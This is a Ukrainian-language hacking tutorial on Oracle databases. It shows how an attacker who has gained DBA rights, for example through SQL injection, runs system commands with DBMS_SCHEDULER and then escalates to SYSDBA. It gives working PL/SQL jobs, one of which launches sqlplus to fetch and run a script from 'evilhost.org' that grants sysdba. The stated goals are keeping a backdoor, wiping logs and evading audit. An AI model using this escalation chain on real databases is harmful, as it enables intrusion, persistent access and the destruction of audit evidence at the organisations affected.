UASC

Таки дійшли руки, почнемо.
Ми маємо:
1. DBA (можна й більш “дрібні” права, головне, щоб був доступ до Java, або DBMS_SCHEDULER або ALTER SYSTEM)
2. Все написане тестувалося на Win32 XP SP3 та Oracle XE (у мене немає ліцензії на платний Oracle. Тестувати дані скрипти на робочому сервері я не став) Тут ми будемо розглядати приклад тільки з DBMS_SCHEDULER.  Служба OracleJobScheduler% ORACLE_SID% повинна бути запущена, інакше нічого не вийде )

Отже, припустимо, почали ми з ін’єкції, отримали  dba, маємо коннект до listener  (це не обов’язково). Якщо когось цікавить, як виконати це, не маючи доступу до listener, а просто  скажімо з UNION SELECT, я поясню окремо.

Маючи dba права ми цілком можемо виконувати команди в системі, використовуючи DBMS_SCHEDULER, це просто.

begin
dbms_scheduler.create_job (
job_name     =>'tstcmd',
job_type     =>'executable',
job_action   =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt',
enabled      => false,
auto_drop    => true
);
commit;
end;
/
exec dbms_scheduler.enable('tstcmd')

Думаю даний скрипт не варто розписувати. Все досить просто.  Тільки коротко наведу:

job_name => ‘tstcmd ’, – Ім’я завдання
job_type => ‘ executable’, – тип завдання
job_action => ‘C: \ WINDOWS \ System32 \ cmd.exe / C Ехо 123> C: \ 123.txt “, – Саме завдання
Enabled =>false, – Активна чи ні
auto_drop => true – чи стирати її після виконання (
Нам треба було б прибрати, хоча при бажанні можна задати її інтервал виконання, використовуючи repeat_interval=> ‘FREQ=SECONDLY;INTERVAL=час в секундах’

Тобто, це, так би мовити,  Oracle Cron

Ну от, а тепер уявімо ситуацію: у нас є dba, є можливість запускати системні команди.
По дефолту команди в Win32 запускаються від local_system, а в * nix – від користувача Oracle, але з досвіду скажу, що навіть в Win32 прийнято після встановлення відразу ж редактувати конфігурації та запускати теж від користувача Oracle. Якщо нам потрібно  дану БД протроянити, скажімо, просто треба втримати там права як можна довше. Маючи dba це можливо зробити, але не так ефективно, як при SYSDBA.
Якщо ведеться аудит, то персона яка проникла досить швидко буде виявлена разом зі своїм трояном, бекдором, називайте як хочете.
Ну так от, для того, щоб нам очистити таблиці з логами, повісити пару тригерів, процедур, або додати в стандартний пакет яку-небудь  дуже потрібну функцію / процедуру, яка буде виконуватися від SYS, нам потрібні SYSDBA права.
Менше слів, більше коду.

begin
dbms_scheduler.create_job (
1.  job_name     =>'assysdba',
2.  job_type     =>'executable',
3.  job_action   =>'c:\windows\system32\cmd.exe /c sqlplus / as sysdba @http://evilhost.org/getsysdba.sql',
4.  enabled      => false,
5.  auto_drop    => true
);
commit;
end;
/
exec dbms_scheduler.enable('assysdba')

А тепер розберемо код
1. Створюємо завдання з ім’ям (може бути будь-яким)
2. Оголошуємо тип завдання. В нашому випадку executable (варіації є, але нам поки не потрібні …)
3. Ось тут саме цікаве, sqlplus, за замовчуванням, дозволяє підключаться, як SYSDBA – без логіна / пароля, якщо це відбувається з локальної системи!
sqlplus / AS SYSDBA @ http://evilhost.org/getsysdba.sql – підключилися до бд, як SYSDBA,  дали файл на виконання! знак @ дозволяє відразу оголошувати який SQL скрипт виконати.
Якщо вказати просто@filename.sql, то sqlplus буде в ORACLE_HOME і в своїй bin  папці шукати скрипт, але sqlplus вміє завантажувати файли з мережі …
Якщо БД знаходиться на машині на якій немає доступу в інтернет,  то можна або на мережеву залити, або записати на диск, знову ж таки використовуючи DBMS_SCHEDULER  або  Java, це просто, думаю, немає сенсу пояснювати.
4. Активна / не активна.
5. Виконати один раз і стерти завдання.

Файл SQL може бути будь-яким, але бажано включити в кінець файлу Exit; щоб після його виконання sqlplus закрив сесію.

Приклад:

grant sysdba to tsst;
exit;

Висновок:
Маючи dba можна отримати SYSDBA, це звичайно пов’язано з деякими “якщо”, але, як показує практика, в більшості випадків ці “якщо” мають місце бути.
Цією статтею я хотів показати, що Oracle можна не тільки зламати, але і значно більше, отримавши SYSDBA усунути логування і обійти деякі системи аудиту.
Логвайпер і сам бекдур я викладати не став, так як писати таке не складно, потрібно просто знати, де що в Oracle знаходиться